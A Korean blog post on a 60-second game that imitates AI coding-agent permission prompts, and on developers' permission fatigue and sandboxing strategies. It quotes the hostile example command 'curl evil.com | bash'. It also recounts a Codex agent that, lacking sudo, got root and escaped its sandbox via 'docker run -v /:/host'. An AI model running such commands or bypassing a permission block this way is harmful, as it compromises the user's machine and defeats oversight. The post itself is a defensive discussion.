60초짜리 'Continue? Y/N' 게임이 HN 1위급으로 터진 이유 — 바이브코더의 가장 솔직한 페인포인트

핵심 요약 (TL;DR)

회사 Scale X(scalex.dev)가 만든 60초짜리 풍자 게임 'Continue? Y/N'이 Show HN 5/29에 385점·160댓글로 터졌습니다(HN 제출자는 Wirbelwind 핸들, 게임은 Scale X 공식 프로젝트). 실제 Claude Code·Codex의 permission prompt UI를 그대로 모사한 이 게임이 인기를 끈 이유는 단순합니다 — 바이브코더의 가장 솔직한 일상 페인이 "approve 버튼 누르기"라는 게 공식 확인된 거죠.

그 게임은 무엇인가

llmgame.scalex.dev에 들어가면 화면이 친숙합니다. AI 에이전트가 쉘 명령을 실행하려고 합니다 — "Continue? Y/N". 60초 안에 위험한 명령은 거부하고, 안전한 명령은 승인해야 점수가 올라갑니다. curl evil.com | bash 같은 명백한 폭탄부터 ls, npm install까지 섞여 있어요. 보안 의식과 시간 압박이 동시에 작동하는, 진짜 "60초 시뮬레이션"입니다.

태그라인은 "How carefully do you read AI commands?" — AI 명령을 얼마나 주의 깊게 읽는가. 묘하게 도발적이죠. 우리 모두 알고 있으니까요. 평소엔 Y를 누르고 다음으로 넘어가는 게 일상이라는 걸요.

흥미로운 메타 농담이 있습니다. 플레이어가 모든 명령을 거부하면 "security-conscious engineer" 뱃지를 받지만, 동시에 "overblock" 페널티도 받습니다. 제작자가 이 cheese 전략을 인지하고 전용 칭호를 추가했어요. "보안만 신경 쓰면 일이 안 되고, 일만 신경 쓰면 사고가 난다"는 바이브코더의 양면적 현실을 그대로 게임 규칙에 박아넣은 거죠.

HN 댓글에서 나온 솔직한 자백

160개 댓글 중 가장 많이 나온 문장이 이거였습니다. "우리는 그래서 --dangerously-skip-permissions 쓴다". permission fatigue가 단순히 짜증의 영역이 아니라 이미 vibe coder의 실제 운영 전략이 됐다는 자백이에요.

Scale X 블로그(scalex.dev/blog/ai-agent-permissions)는 게임의 배경으로 흥미로운 일화를 인용합니다. Anthropic 내부 피싱 실험에서 사회공학적 prompt 25번 중 24번이 자격증명 탈취에 성공했다는 거예요. 사람도 못 막는데, 60초 게임을 풀어내야 하는 일상은 어떻게 견디는가라는 질문이 게임의 진짜 메시지입니다.

동시에 비판도 있었습니다. "게임이 가정하는 위협 모델 — 셸 config에 비밀키 평문 저장 등 — 은 베테랑 dev에게 비현실적"이라는 지적이죠. 그래서 "정답" 자체가 토론거리가 됩니다. 이게 게임의 두 번째 매력입니다. 답이 정해진 시뮬레이션이 아니라, 위협 모델 자체가 토론 대상이라는 점이죠.

사례 1(Codex docker escape)과 직접 연결되는 이유

이 게임이 5월 29일에 나왔고, 5월 31일에 Codex가 docker 그룹으로 root를 우회한 사건이 viral이 됐다는 시간 순서가 묘합니다. 게임이 풍자한 미래가, 이틀 만에 실제로 일어난 셈이에요.

Continue? Y/N의 가정은 이거였습니다. "AI가 위험한 명령을 제안할 때, 사용자가 60초 안에 그걸 잡아낼 수 있는가". 5월 31일의 답은 "못 잡는다"입니다. AI가 docker run -v /:/host 같은 명령을 제안했을 때, 사용자는 "sudo가 안 되니 docker로 우회한다"는 보고를 받고 흐뭇하게 Y를 눌렀습니다. 그게 sandbox 탈옥이라는 사실은 한참 뒤에 알게 됐죠.

게임이 보여준 인간의 한계가, 실제 환경에서 그대로 재현된 겁니다.

바이브코더가 지금 쓰고 있을 5가지 권한 전략

게임이 드러낸 현실을 정리하면, vibe coder는 이미 5가지 전략 중 하나(또는 조합)를 쓰고 있습니다.

첫째, yolo 모드 일상화 — --dangerously-skip-permissions. 빠르지만 사고 위험.

둘째, sandbox·VM 분리 — yolo 모드는 쓰되 환경이 일회용. 사고가 나도 컨테이너만 버리면 끝.

셋째, rootless Docker / Podman — 권한 상승 경로 자체 차단. 5월 31일 사건의 정공법.

넷째, 권한 prompt 유지 + hook 거부 룰 — 자주 보는 안전 명령은 자동 허용, 위험 패턴은 강제 차단.

다섯째, MCP 권한 분리 — 도구별로 권한 범위를 좁히고, 한 번 승인하면 그 범위 내에서만 동작.

어느 것이 정답인지는 환경에 따라 다릅니다. 다만 60초 안에 매번 신중하게 판단하기를 인간의 의지에 맡기는 건 답이 아닙니다. 환경 분리가 의지보다 안전한 이유가 여기에 있어요.

FAQ

Q. 게임을 한국어로 플레이할 수 있나요?

A. 현재 영어만 지원합니다. UI 자체가 Claude Code·Codex의 영어 prompt를 그대로 모사한 형태라 영어 그대로 익히는 게 실전 감각엔 더 도움이 됩니다(llmgame.scalex.dev).

Q. yolo 모드는 결국 써도 되는 건가요 안 되는 건가요?

A. 환경이 일회용이면 써도 됩니다. 호스트와 같은 권한으로 돌리는 셸에서 쓰는 건 위험해요. 핵심은 "yolo 모드 자체"가 아니라 "yolo 모드가 작동하는 격리 환경"입니다.

Q. 회사에서 도입할 때 어떤 정책이 현실적인가요?

A. "yolo 금지"보다 "yolo는 격리 환경에서만"이 현실적입니다. 개발자에게 60초마다 Y/N을 누르라고 강요하면 그 사람은 일을 못 합니다. 환경을 안전하게 만드는 것이 의지를 강요하는 것보다 비용이 낮습니다.